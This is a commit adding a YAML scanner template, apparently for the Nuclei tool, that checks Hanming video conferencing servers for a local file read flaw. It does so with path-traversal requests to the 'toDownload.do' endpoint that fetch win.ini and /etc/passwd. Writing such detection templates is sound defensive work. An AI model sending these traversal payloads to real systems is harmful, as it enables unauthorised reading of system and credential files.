Merge pull request #4079 from ritikchaddha/patch-19

Create  hanming-video-conferencing-file-read.yaml

vulnerabilities/other/hanming-lfr.yaml

@@ -0,0 +1,29 @@
+id: hanming-lfr
+
+info:
+  name: Hanming Video Conferencing File Read
+  author: ritikchaddha
+  severity: high
+  reference: https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA
+  tags: lfr,hanming,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini"
+      - "{{BaseURL}}/register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd"
+
+    stop-at-first-match: true
+    matchers-condition: or
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"